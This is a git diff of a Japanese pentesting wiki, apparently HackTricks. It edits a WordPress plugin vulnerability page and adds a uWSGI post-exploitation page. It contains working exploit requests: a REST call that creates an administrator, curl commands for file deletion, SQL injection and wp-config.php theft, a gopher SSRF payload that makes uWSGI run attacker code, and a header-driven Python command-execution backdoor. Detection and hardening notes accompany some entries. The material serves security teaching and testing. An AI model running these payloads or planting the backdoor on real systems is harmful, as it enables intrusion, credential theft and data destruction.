+> さらに、もしその関数がユーザの権限を `wp_verify_nonce` で確認しているだけであれば、`wp_verify_nonce` は単にユーザがログインしていることを確認するだけで、通常はユーザのロールを確認しません。したがって権限の低いユーザが権限の高い操作にアクセスできる可能性があります。 - **REST API** -It's also possible to expose functions from wordpress registering a rest AP using the `register_rest_route` function: +また、`register_rest_route` 関数を使用して wordpress に rest AP を登録し、関数を公開することも可能です: ```php register_rest_route( $this->namespace, '/get/', array( @@ -364,21 +363,21 @@ $this->namespace, '/get/', array( ) ); ``` -The `permission_callback` は、指定されたユーザが API メソッドを呼び出す権限があるかをチェックするコールバック関数です。 +The `permission_callback` は、与えられたユーザーが API メソッドを呼び出す権限があるかをチェックするコールバック関数です。 -**組み込みの `__return_true` 関数が使われている場合、ユーザ権限のチェックを単純にスキップします。** +**組み込みの `__return_true` 関数が使われている場合、ユーザー権限チェックは単純にスキップされます。** -- **php ファイルへの直接アクセス** +- **PHP ファイルへの直接アクセス** -もちろん、Wordpress は PHP を使用しており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、プラグインがファイルにアクセスするだけでトリガーされる脆弱な機能を公開している場合、その機能は任意のユーザによって悪用され得ます。 +もちろん、Wordpress は PHP を使っており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、ファイルにアクセスするだけでトリガーされる脆弱な機能を公開しているプラグインは、任意のユーザーによって悪用され得ます。 ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) -一部のプラグインは内部統合やリバースプロキシ向けに “trusted header” のショートカットを実装し、そのヘッダを REST リクエストの現在のユーザコンテキストを設定するために使用します。ヘッダが上流コンポーネントによって暗号学的にリクエストに紐付けられていない場合、攻撃者はそれを偽装して管理者として権限のある REST ルートにアクセスできます。 +一部のプラグインは内部統合やリバースプロキシ向けに “trusted header” のショートカットを実装し、そのヘッダを使って REST リクエストの現在のユーザーコンテキストを設定します。上流コンポーネントによってヘッダが暗号学的にリクエストに紐付けられていない場合、攻撃者はそれを偽装して管理者として特権 REST ルートにアクセスできます。 -- Impact: 未認証のまま admin に権限昇格 — core users REST route を介して新しい administrator を作成することで達成される。 -- Example header: `X-Wcpay-Platform-Checkout-User: 1` (ユーザ ID 1 を強制、通常は最初の administrator アカウント) -- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array. +- 影響: 認証なしでコアの users REST ルートを通じて新しい管理者を作成し、管理者権限に昇格される可能性があります。 +- 例のヘッダ: `X-Wcpay-Platform-Checkout-User: 1`（ユーザー ID を 1 に強制、通常は最初の管理者アカウント） +- 悪用されるルート: `POST /wp-json/wp/v2/users` に高い権限の role 配列を含めて PoC ```http @@ -392,40 +391,40 @@ Content-Length: 114 {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]} ``` -なぜ動作するか +Why it works -- プラグインがクライアント制御のヘッダーを認証状態にマップし、権限チェックをスキップする。 -- WordPress core はこのルートに `create_users` 権限を期待するが、プラグインのハックはヘッダーから直接 current user コンテキストを設定することでこれをバイパスする。 +- プラグインはクライアント制御のヘッダを認証状態にマッピングし、権限チェックをスキップします。 +- WordPress core はこのルートに `create_users` capability を期待します；プラグインのハックはヘッダから直接現在のユーザーコンテキストを設定することでこれをバイパスします。 -期待される成功指標 +Expected success indicators -- HTTP 201 と作成されたユーザーを記述する JSON ボディ。 -- `wp-admin/users.php` に新しい管理者ユーザーが表示される。 +- 作成されたユーザーを記述する JSON ボディを伴う HTTP 201。 +- 新しい管理者ユーザーが `wp-admin/users.php` に表示される。 -検出チェックリスト +Detection checklist -- `getallheaders()`, `$_SERVER['HTTP_...']`、またはカスタムヘッダーを読み取ってユーザーコンテキストを設定するベンダーSDK（例: `wp_set_current_user()`, `wp_set_auth_cookie()`）をgrepする。 -- 特権付きコールバックが堅牢な `permission_callback` チェックを欠き、代わりにリクエストヘッダーに依存していないか REST 登録を確認する。 -- REST ハンドラ内でヘッダー値のみでゲートされているコアのユーザー管理関数（`wp_insert_user`, `wp_create_user`）の使用を探す。 +- ユーザーコンテキストを設定するためにカスタムヘッダを読み取る `getallheaders()`、`$_SERVER['HTTP_...']`、またはベンダーSDK（例: `wp_set_current_user()`, `wp_set_auth_cookie()`）を grep で探す。 +- 堅牢な `permission_callback` チェックを欠き、代わりにリクエストヘッダに依存している特権コールバックについて REST 登録をレビューする。 +- REST ハンドラ内でヘッダ値だけでゲートされている core のユーザー管理関数（`wp_insert_user`, `wp_create_user`）の使用を探す。 -ハードニング +Hardening -- 認証や認可をクライアント制御のヘッダーから派生させない。 -- reverse proxy が識別情報を注入する必要がある場合は、プロキシで信頼を終了しインバウンドのコピーを削除する（例: エッジで `unset X-Wcpay-Platform-Checkout-User`）、その後署名付きトークンを渡してサーバー側で検証する。 -- 特権操作を行う REST ルートでは `current_user_can()` チェックと厳格な `permission_callback` を要求する（`__return_true` を使わない）。 -- ヘッダーによる“impersonation”よりもファーストパーティの認証（cookies、application passwords、OAuth）を優先する。 +- 認証や認可をクライアント制御のヘッダから導出してはいけない。 +- リバースプロキシが識別情報を注入しなければならない場合は、プロキシで信頼を終端して着信コピーを削除する（例: エッジで `unset X-Wcpay-Platform-Checkout-User`）、その上で署名付きトークンを渡してサーバ側で検証する。 +- 特権操作を行う REST ルートでは `current_user_can()` チェックと厳密な `permission_callback` を要求する（`__return_true` を使ってはいけない）。 +- ヘッダによる「impersonation」よりも、first-party 認証（cookies、application passwords、OAuth）を優先する。 -参考: このページ末のリンクを参照してください。公開事例とより広い分析があります。 +References: see the links at the end of this page for a public case and broader analysis. ### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) -WordPress のテーマやプラグインは `wp_ajax_` と `wp_ajax_nopriv_` フックを通じて AJAX ハンドラを公開することが多い。**_nopriv_** バリアントが使われると、**コールバックが認証されていない訪問者から到達可能になる**ため、敏感な操作には追加で次を実装する必要がある: +WordPress のテーマやプラグインはしばしば `wp_ajax_` と `wp_ajax_nopriv_` フックを通じて AJAX ハンドラを公開します。**_nopriv_** バリアントが使用されると **コールバックは未認証の訪問者から到達可能になる** ため、任意の機微な操作では追加で以下を実装する必要があります: -1. 権限チェック（例: `current_user_can()` または最低でも `is_user_logged_in()`）、および -2. `check_ajax_referer()` / `wp_verify_nonce()` による CSRF nonce の検証、および -3. 厳格な入力のサニタイズ／検証。 +1. **権限チェック**（例: `current_user_can()`、少なくとも `is_user_logged_in()`）、および +2. `check_ajax_referer()` / `wp_verify_nonce()` によって検証される **CSRF nonce**、および +3. **厳格な入力のサニタイズ／検証**。 -Litho マルチパーパステーマ (< 3.1) は *Remove Font Family* 機能でこれら 3 つの制御を忘れ、結果として次のコード（簡略化）を出荷した: +The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified): ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -444,13 +443,15 @@ die(); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` -* **未認証アクセス** – `wp_ajax_nopriv_` フックが登録されています。 -* **No nonce / capability check** – 任意の訪問者がこのエンドポイントにアクセスできます。 -* **No path sanitisation** – ユーザー制御の `fontfamily` 文字列がフィルタリングなしにファイルシステムパスに連結されており、古典的な `../../` トラバーサルを許します。 +Issues introduced by this snippet: + +* **Unauthenticated access** – `wp_ajax_nopriv_` フックが登録されている。 +* **No nonce / capability check** – 任意の訪問者がエンドポイントにアクセスできる。 +* **No path sanitisation** – ユーザー制御の `fontfamily` 文字列がフィルタリングされずにファイルシステムパスに連結され、古典的な `../../` トラバーサルを許している。 #### 悪用 -攻撃者は単一の HTTP POST リクエストを送ることで、**uploads ベースディレクトリ以下**（通常 `/wp-content/uploads/`）の任意のファイルまたはディレクトリを削除できます： +攻撃者は単一の HTTP POST リクエストを送信するだけで、**uploads base directory 以下**（通常は `/wp-content/uploads/`）の任意のファイルやディレクトリを削除できる： ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ @@ -462,11 +463,11 @@ Other impactful targets include plugin/theme `.php` files (to break security plu #### 検出チェックリスト -* ファイルシステムヘルパー（`copy()`, `unlink()`, `$wp_filesystem->delete()` など）を呼び出す `add_action( 'wp_ajax_nopriv_...')` コールバック。 -* パスに未サニタイズのユーザー入力を連結している箇所（`$_POST`, `$_GET`, `$_REQUEST` を探す）。 -* `check_ajax_referer()` や `current_user_can()`/`is_user_logged_in()` の欠如。 +* ファイルシステム用ヘルパー（`copy()`, `unlink()`, `$wp_filesystem->delete()` など）を呼び出す `add_action( 'wp_ajax_nopriv_...')` コールバック。 +* サニタイズされていないユーザー入力をパスに連結している箇所（`$_POST`, `$_GET`, `$_REQUEST` を探す）。 +* `check_ajax_referer()` や `current_user_can()`/`is_user_logged_in()` が使われていない。 -#### ハードニング +#### 強化 ```php function secure_remove_font_family() { if ( ! is_user_logged_in() ) { @@ -486,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_ // 🔒 NO wp_ajax_nopriv_ registration ``` > [!TIP] -> **Always** ディスク上の書き込み/削除操作を privileged と見なし、次を二重に確認してください: +> **常に** ディスク上のいかなる write/delete 操作でも特権として扱い、次を再確認してください: > • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`). --- ### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") -多くのプラグインは、元のロールを user meta に保存して後で復元できるようにする「view as role」や一時的なロール切替機能を実装しています。復元処理がリクエストパラメータ（例: `$_REQUEST['reset-for']`）とプラグイン管理のリストのみに依存し、capabilities の確認や有効な nonce をチェックしない場合、これは垂直的な privilege escalation になります。 +多くのプラグインは、元のロールを user meta に保存して後で復元できるようにする 'view as role' または一時的なロール切り替え機能を実装しています。復元処理がリクエストパラメータのみ（例: `$_REQUEST['reset-for']`）およびプラグイン管理のリストに依存し、capabilities チェックや有効な nonce を確認しない場合、これは vertical privilege escalation となります。 -実例は Admin and Site Enhancements (ASE) プラグイン (≤ 7.6.2.1) に見つかりました。reset ブランチは、ユーザー名が内部配列 `$options['viewing_admin_as_role_are']` に存在する場合に `reset-for=` に基づいてロールを復元しましたが、現在のロールを削除して user meta `_asenha_view_admin_as_original_roles` から保存されたロールを再追加する前に、`current_user_can()` チェックも nonce 検証も行っていませんでした: +実際の例は Admin and Site Enhancements (ASE) プラグイン (≤ 7.6.2.1) で見つかりました。reset ブランチは、ユーザー名が内部配列 `$options['viewing_admin_as_role_are']` に存在する場合に `reset-for=` に基づいてロールを復元していましたが、現在のロールを削除して user meta `_asenha_view_admin_as_original_roles` から保存されたロールを再追加する前に、`current_user_can()` チェックも nonce 検証も行っていませんでした： ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -512,17 +513,17 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } ``` なぜ悪用可能か -- `$_REQUEST['reset-for']` とプラグインのオプションをサーバー側の認可なしに信頼している。 -- ユーザーが以前 `_asenha_view_admin_as_original_roles` により高い権限を保存されていて降格されていた場合、リセットパスにアクセスすることでそれらを復元できる。 -- 一部のデプロイでは、認証済みの任意のユーザーが `viewing_admin_as_role_are` にまだ残っている別のユーザー名のリセットをトリガーできる（認可の不備）。 +- サーバー側の認可なしに`$_REQUEST['reset-for']`とプラグインのオプションを信頼している。 +- ユーザーが以前 `_asenha_view_admin_as_original_roles` に高い権限を保存していてダウングレードされていた場合、リセットパスにアクセスすることでそれらを復元できる。 +- 一部の導入環境では、認証済みの任意のユーザーが `viewing_admin_as_role_are` にまだ残っている別のユーザー名のリセットをトリガーできる（認可不備）。 -攻撃の前提条件 +Attack prerequisites -- 当該機能が有効になっている脆弱なプラグインのバージョン。 -- 対象アカウントが、以前の使用から user meta に古い高権限ロールを保持している。 -- 任意の認証済みセッション；リセットフローに nonce/capability が欠如している。 +- 脆弱なプラグインのバージョンで該当機能が有効になっていること。 +- ターゲットアカウントが以前の利用で user meta に古い高権限 role を保持していること。 +- 任意の認証済みセッション。reset flow に nonce/capability が欠落していること。 -悪用（例） +Exploitation (example) ```bash # While logged in as the downgraded user (or any auth user able to trigger the code path), # hit any route that executes the role-switcher logic and include the reset parameter. @@ -530,36 +531,36 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -脆弱なビルドでは、これは現在のロールを削除し、保存されている元のロール（例：`administrator`）を再追加します。これにより、実質的に権限が昇格します。 +脆弱なビルドでは、これにより現在のロールが削除され、保存されていた元のロール（例: `administrator`）が再追加され、実質的に権限が昇格します。 Detection checklist -- ユーザーメタに“元のロール”を永続化するロール切替機能を探す（例：`_asenha_view_admin_as_original_roles`）。 -- リセット/復元パスを特定する： -- ユーザー名を `$_REQUEST` / `$_GET` / `$_POST` から読み取っている。 -- `current_user_can()` と `wp_verify_nonce()` / `check_admin_referer()` なしで `add_role()` / `remove_role()` を介してロールを変更している。 -- アクターの権限ではなく、プラグインのオプション配列（例：`viewing_admin_as_role_are`）に基づいて認可している。 +- ユーザーメタに「original roles」を永続化するロール切替機能（例: `_asenha_view_admin_as_original_roles`）を探す。 +- Identify reset/restore paths that: +- ユーザー名を `$_REQUEST` / `$_GET` / `$_POST` から読み取る。 +- `add_role()` / `remove_role()` を `current_user_can()` や `wp_verify_nonce()` / `check_admin_referer()` なしで呼んでロールを変更する。 +- アクターの capabilities の代わりに、プラグインのオプション配列（例: `viewing_admin_as_role_are`）に基づいて認可する。 Hardening -- 状態を変更するすべての分岐で権限チェックを強制する（例：`current_user_can('manage_options')` もしくはより厳格なもの）。 -- すべてのロール/権限変更に対して nonce を要求し、検証する：`check_admin_referer()` / `wp_verify_nonce()`。 -- リクエストで渡されたユーザー名を決して信頼しない。認証済みアクターと明確なポリシーに基づき、ターゲットユーザーをサーバー側で解決する。 -- プロファイル/ロール更新時に“元のロール”の状態を無効化し、古い高権限が復元されるのを防ぐ： +- 状態を変更するすべての分岐で capability チェックを強制する（例: `current_user_can('manage_options')` またはそれ以上の厳格なチェック）。 +- すべてのロール/権限の変更に対して nonce を要求し、検証する: `check_admin_referer()` / `wp_verify_nonce()`。 +- リクエストで渡されたユーザー名を決して信頼しない。認証済みのアクターと明示的なポリシーに基づいてサーバー側で対象ユーザーを解決する。 +- プロフィール/ロールの更新時に「original roles」状態を無効化し、古い高権限の復元を防ぐ: ```php add_action( 'profile_update', function( $user_id ) { delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); }, 10, 1 ); ``` -- 一時的なロール切り替えでは、状態を最小限に抑え、時間制限付きで権限チェックされたトークンを使用することを検討してください。 +- 一時的なロール切り替えには、最小限の状態を保持し、時間制限付きで capability によって保護されたトークンを使用することを検討してください。 --- -### 認証されていない privilege escalation via cookie‑trusted user switching on public `init` (Service Finder “sf-booking”) +### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”) -一部のプラグインは user-switching ヘルパーを public `init` フックに結び付け、クライアント制御の cookie から識別を導出します。もしコードが認証、capability、および有効な nonce を検証せずに `wp_set_auth_cookie()` を呼び出していると、任意の未認証訪問者が任意のユーザー ID として強制ログインできます。 +一部のプラグインは user-switching helpers を public の `init` フックに接続し、クライアント制御の cookie から識別を導出します。コードが認証、capability、および有効な nonce の検証なしに `wp_set_auth_cookie()` を呼び出すと、認証されていない任意の訪問者が任意のユーザーIDとして強制的にログインさせることができます。 -典型的な脆弱なパターン（Service Finder Bookings ≤ 6.1 から簡略化）： +典型的な脆弱なパターン（Service Finder Bookings ≤ 6.1 を簡略化）： ```php function service_finder_submit_user_form(){ if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { @@ -590,11 +591,11 @@ wp_die('No original user found to switch back to.'); ``` なぜ悪用可能か -- 公開された `init` フックにより、ハンドラが unauthenticated users から到達可能になる（`is_user_logged_in()` ガードがない）。 -- 識別はクライアントで変更可能な cookie (`original_user_id`) から派生している。 -- 直接 `wp_set_auth_cookie($uid)` を呼び出すことで、要求者をそのユーザーとしてログインさせるが、権限 (capability) や nonce のチェックが行われない。 +- 公開された `init` フックにより、ハンドラが未認証ユーザーから到達可能になる（`is_user_logged_in()` ガードがない）。 +- 識別はクライアントが変更可能な cookie（`original_user_id`）から導出されている。 +- `wp_set_auth_cookie($uid)` を直接呼び出すことで、要求者をそのユーザーとしてログインさせてしまい、権限や nonce のチェックが行われない。 -悪用（unauthenticated） +悪用（未認証） ```http GET /?switch_back=1 HTTP/1.1 Host: victim.example @@ -604,32 +605,32 @@ Connection: close ``` --- -### WAF considerations for WordPress/plugin CVEs +### WAF に関する WordPress/plugin CVEs の考慮事項 Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics. -Offensive notes +攻撃側の注意点 -- クリーンな payloads で plugin 固有のエンドポイントを狙う: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. -- まず unauth パスを試す (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes)。デフォルトの payloads はしばしば難読化なしで成功する。 -- 典型的な高影響ケース: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. +- プラグイン固有のエンドポイントをクリーンなペイロードで狙う: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, ショートコード。 +- まずは未認証パスを試す（AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes）。デフォルトのペイロードはしばしば難読化なしで成功する。 +- 典型的な高影響ケース：権限昇格（broken access control）、任意ファイルのアップロード/ダウンロード、LFI、open redirect。 -Defensive notes +防御側の注意点 -- plugin CVEs を保護するために汎用 WAF シグネチャに頼らない。アプリケーションレイヤーで脆弱性固有の virtual patches を実装するか、迅速に更新する。 -- コード内では negative regex フィルタよりも、positive-security チェック（capabilities、nonces、厳格な入力検証）を優先する。 +- plugin CVEs を保護するために一般的な WAF シグネチャに頼らない。アプリケーション層での脆弱性特化のバーチャルパッチを実装するか、迅速にアップデートすること。 +- コード内ではネガティブな正規表現フィルタよりも、ポジティブセキュリティチェック（capabilities、nonces、厳格な入力検証）を優先する。 -## WordPress Protection +## WordPress の保護 -### Regular Updates +### 定期的なアップデート -Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php: +WordPress、plugins、themes が最新であることを確認する。また、自動更新が wp-config.php で有効になっていることを確認する: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -Also, **only install trustable WordPress plugins and themes**. +また、**信頼できる WordPress プラグインとテーマのみをインストールしてください**。 ### セキュリティプラグイン @@ -640,14 +641,15 @@ Also, **only install trustable WordPress plugins and themes**. ### **その他の推奨事項** - デフォルトの **admin** ユーザーを削除する -- 強力な**パスワード**と**2FA**を使用する -- 定期的にユーザーの**権限**を**見直す** -- **ログイン試行回数を制限**して Brute Force 攻撃を防ぐ -- **`wp-admin.php`** ファイル名を変更し、内部または特定のIPアドレスからのみアクセスを許可する。 +- **強力なパスワード** と **2FA** を使用する +- 定期的にユーザーの **権限** を **見直す** +- Brute Force 攻撃を防ぐために **ログイン試行回数を制限する** +- **`wp-admin.php`** ファイルの名前を変更し、内部または特定の IP アドレスからのみアクセスを許可する。 -### 検証不足による未認証の SQL Injection (WP Job Portal <= 2.3.2) -WP Job Portal の recruitment プラグインは **savecategory** タスクを公開しており、最終的に `modules/category/model.php::validateFormData()` 内で次の脆弱なコードを実行します: +### 認証不要の SQL Injection（検証不足） (WP Job Portal <= 2.3.2) + +WP Job Portal リクルートプラグインは **savecategory** タスクを公開しており、最終的に `modules/category/model.php::validateFormData()` 内で次の脆弱なコードを実行します： ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -657,19 +659,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` -Issues introduced by this snippet: +このスニペットによって導入された問題点: -1. **未サニタイズのユーザー入力** – `parentid` は HTTP リクエストから直接取得されます。 -2. **WHERE句内での文字列連結** – `is_numeric()` / `esc_sql()` / prepared statement が使われていません。 -3. **認証不要で到達可能** – アクションは `admin-post.php` 経由で実行されますが、設けられている唯一のチェックは **CSRF nonce**（`wp_verify_nonce()`）で、任意の訪問者がショートコード `[wpjobportal_my_resumes]` を埋め込んだ公開ページから取得できます。 +1. **未サニタイズのユーザー入力** – `parentid` は HTTP リクエストからそのまま取得されています。 +2. **WHERE clause 内での文字列連結** – `is_numeric()` / `esc_sql()` / prepared statement が使われていません。 +3. **認証不要で到達可能** – アクションは `admin-post.php` 経由で実行されますが、設けられているチェックは **CSRF nonce**（`wp_verify_nonce()`）のみで、訪問者はショートコード `[wpjobportal_my_resumes]` を埋め込んだ公開ページからそれを取得できます。 #### 悪用 -1. 新しい nonce を取得: +1. 新しい nonce を取得する: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` -2. `parentid` を悪用して任意の SQL を注入: +2. `parentid` を悪用して任意の SQL を注入する: ```bash curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'task=savecategory' \ @@ -677,20 +679,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -レスポンスは注入したクエリの結果を開示するか、データベースを変更し、SQLi を実証します。 +レスポンスは注入されたクエリの結果を公開するか、データベースを変更し、SQLi を立証します。 ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) -別のタスク、**downloadcustomfile** は、訪問者が path traversal を悪用してディスク上の **任意のファイル** をダウンロードできるようにしていました。脆弱なシンクは `modules/customfield/model.php::downloadCustomUploadedFile()` にあります: +別のタスクである **downloadcustomfile** は、path traversal を介して訪問者にディスク上の**任意のファイル**をダウンロードさせることを許していました。脆弱なシンクは `modules/customfield/model.php::downloadCustomUploadedFile()` にあります: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` は攻撃者が制御しており、**サニタイズされずに**連結されます。再度、唯一の障壁は、resume ページから取得できる**CSRF nonce**です。 +`$file_name` は攻撃者により制御され、**サニタイズされずに**連結されます。 再度、唯一の防御は履歴書ページから取得できる **CSRF nonce** です。 -#### 悪用 +#### Exploitation ```bash curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'task=downloadcustomfile' \ @@ -699,7 +701,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` -サーバーは `wp-config.php` の内容を返し、leaking DB credentials and auth keys. +サーバーは `wp-config.php` の内容を返し、DB credentials と auth keys を leaking します。 ## 参考資料 diff --git a/src/network-services-pentesting/pentesting-web/wsgi.md b/src/network-services-pentesting/pentesting-web/wsgi.md new file mode 100644 index 000000000..6b9b827a6 --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/wsgi.md @@ -0,0 +1,169 @@ +# WSGI Post-Exploitation Tricks + +{{#include ../../banners/hacktricks-training.md}} + +## WSGI 概要 + +Web Server Gateway Interface (WSGI) は、webサーバーがWebアプリケーションとどのように通信するか、そしてWebアプリケーションを連結して1つのリクエストを処理する方法を定める仕様です。uWSGI は最も一般的な WSGI サーバーの一つで、Python の Web アプリケーションを配信するためによく使われます。 + +## uWSGI Magic Variables の悪用 + +uWSGI はサーバーの挙動を動的に設定するために使用できる特別な "magic variables" を提供します。これらの変数は HTTP ヘッダーを通じて設定でき、適切に検証されない場合には深刻なセキュリティ脆弱性を引き起こす可能性があります。 + +### 主な悪用可能な変数 + +#### `UWSGI_FILE` - 任意ファイル実行 +``` +uwsgi_param UWSGI_FILE /path/to/python/file.py; +``` +この変数は任意の Python ファイルを WSGI アプリケーションとして読み込み、実行することを可能にします。攻撃者がこのパラメータを制御できる場合、Remote Code Execution (RCE) を達成できます。 + +#### `UWSGI_SCRIPT` - スクリプトの読み込み +``` +uwsgi_param UWSGI_SCRIPT module.path:callable; +uwsgi_param SCRIPT_NAME /endpoint; +``` +指定したスクリプトを新しいアプリケーションとして読み込みます。ファイルのアップロードや書き込み機能と組み合わせると、これがRCEにつながる可能性があります。 + +#### `UWSGI_MODULE` and `UWSGI_CALLABLE` - Dynamic Module Loading +``` +uwsgi_param UWSGI_MODULE malicious.module; +uwsgi_param UWSGI_CALLABLE evil_function; +uwsgi_param SCRIPT_NAME /backdoor; +``` +これらのパラメータは任意のPythonモジュールをロードし、その中の特定の関数を呼び出すことを可能にします。 + +#### `UWSGI_SETENV` - 環境変数の操作 +``` +uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings; +``` +環境変数を変更するために使用でき、アプリケーションの動作に影響を与えたり、悪意のある設定を読み込ませたりする可能性があります。 + +#### `UWSGI_PYHOME` - Python 環境の操作 +``` +uwsgi_param UWSGI_PYHOME /path/to/malicious/venv; +``` +#### `UWSGI_CHDIR` - Directory Traversal + +Python の仮想環境を変更し、悪意のあるパッケージや別の Python インタプリタが読み込まれる可能性があります。 +``` +uwsgi_param UWSGI_CHDIR /etc/; +``` +リクエストを処理する前に作業ディレクトリを変更します。これは path traversal 攻撃に利用できます。 + +## SSRF + Gopher to + +### 攻撃ベクトル + +When uWSGI is accessible through SSRF (Server-Side Request Forgery), attackers can interact with the internal uWSGI socket to exploit magic variables. This is particularly dangerous when: + +1. アプリケーションに SSRF の脆弱性がある +2. uWSGI が内部のポート/ソケットで動作している +3. アプリケーションが magic variables を適切に検証していない + +uWSGI は、設定ファイル `uwsgi.ini` に `socket = 127.0.0.1:5000` が含まれているため SSRF によってアクセス可能になっており、ウェブアプリケーションから SSRF 経由でアクセスできます。 + +### 悪用例 + +#### ステップ1: Create Malicious Payload +First, inject Python code into a file accessible by the server (file write inside the server, the extension of the file doesn't matter): +```python +# Payload injected into a JSON profile file +import os +os.system("/readflag > /app/profiles/result.json") +``` +#### ステップ 2: uWSGI プロトコルリクエストの作成 +Gopher プロトコルを使って生の uWSGI パケットを送信します: +``` +gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json +``` +この payload: +- uWSGI のポート5000に接続する +- 悪意のあるファイルを指すように `UWSGI_FILE` を設定する +- uWSGI に Python コードを読み込ませて実行させる + +### uWSGI プロトコルの構造 + +uWSGI プロトコルは次のようなバイナリ形式を使用する: +- 変数は長さプレフィックス付き文字列としてエンコードされる +- 各変数は: `[name_length][name][value_length][value]` +- パケットは合計サイズを含むヘッダで始まる + +## Post-Exploitation Techniques + +### 1. Persistent Backdoors + +#### ファイルベースの Backdoor +```python +# backdoor.py +import subprocess +import base64 + +def application(environ, start_response): +cmd = environ.get('HTTP_X_CMD', '') +if cmd: +result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True) +response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}" +else: +response = "Backdoor active" + +start_response('200 OK', [('Content-Type', 'text/plain')]) +return [response.encode()] +``` +次に `UWSGI_FILE` を使ってこのバックドアをロードします: +``` +uwsgi_param UWSGI_FILE /tmp/backdoor.py; +uwsgi_param SCRIPT_NAME /admin; +``` +#### 環境ベースの Persistence +``` +uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages; +``` +### 2. 情報漏洩 + +#### 環境変数のダンプ +```python +# env_dump.py +import os +import json + +def application(environ, start_response): +env_data = { +'os_environ': dict(os.environ), +'wsgi_environ': dict(environ) +} + +start_response('200 OK', [('Content-Type', 'application/json')]) +return [json.dumps(env_data, indent=2).encode()] +``` +#### ファイルシステムへのアクセス +機密ファイルにアクセスするために、`UWSGI_CHDIR` をファイル配信と組み合わせて使用します: +``` +uwsgi_param UWSGI_CHDIR /etc/; +uwsgi_param UWSGI_FILE /app/file_server.py; +``` +### 3. Privilege Escalation + +#### Socket Manipulation +uWSGI が特権で実行されている場合、攻撃者は socket permissions を操作できる可能性があります: +``` +uwsgi_param UWSGI_CHDIR /tmp; +uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data; +``` +#### 設定の上書き +```python +# malicious_config.py +import os + +# Override uWSGI configuration +os.environ['UWSGI_MASTER'] = '1' +os.environ['UWSGI_PROCESSES'] = '1' +os.environ['UWSGI_CHEAPER'] = '1' +``` +## 参考資料 + +- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html) +- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata) +- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index fb89b2e7a..6a5c1f248 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -2,75 +2,75 @@ {{#include 